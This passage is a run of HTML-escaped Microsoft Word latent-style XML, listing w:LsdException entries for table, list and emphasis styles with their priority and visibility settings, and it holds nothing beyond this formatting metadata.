  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Contemporary&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Elegant&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Professional&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Subtle 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Subtle 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Web 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Web 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Web 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Balloon Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Theme&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; Name=&quot;Revision&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;34&quot; QFormat=&quot;true&quot;
   Name=&quot;List Paragraph&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;29&quot; QFormat=&quot;true&quot; Name=&quot;Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;30&quot; QFormat=&quot;true&quot;
   Name=&quot;Intense Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;19&quot; QFormat=&quot;true&quot;
   Name=&quot;Subtle Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;21&quot; QFormat=&quot;true&quot;
   Name=&quot;Intense Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;31&quot; QFormat=&quot;true&quot;
   Name=&quot;Subtle Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;32&quot; QFormat=&quot;true&quot;
   Name=&quot;Intense Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;33&quot; QFormat=&quot;true&quot; Name=&quot;Book Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;37&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;Bibliography&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; QFormat=&quot;true&quot; Name=&quot;TOC Heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;41&quot; Name=&quot;Plain Table 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;42&quot; Name=&quot;Plain Table 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;43&quot; Name=&quot;Plain Table 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;44&quot; Name=&quot;Plain Table 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;45&quot; Name=&quot;Plain Table 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;40&quot; Name=&quot;Grid Table Light&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot; Name=&quot;Grid Table 1 Light&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot; Name=&quot;Grid Table 6 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot; Name=&quot;Grid Table 7 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;Grid Table 1 Light Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;Grid Table 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;Grid Table 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;Grid Table 4 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;Grid Table 5 Dark Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;Grid Table 6 Colorful Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;Grid Table 7 Colorful Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot; Name=&quot;List Table 1 Light&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot; Name=&quot;List Table 6 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot; Name=&quot;List Table 7 Colorful&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;48&quot; Name=&quot;List Table 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;49&quot; Name=&quot;List Table 4 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;50&quot; Name=&quot;List Table 5 Dark Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;51&quot;
   Name=&quot;List Table 6 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;52&quot;
   Name=&quot;List Table 7 Colorful Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;46&quot;
   Name=&quot;List Table 1 Light Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;47&quot; Name=&quot;List Table 2 Accent 6&quot;/&gt;
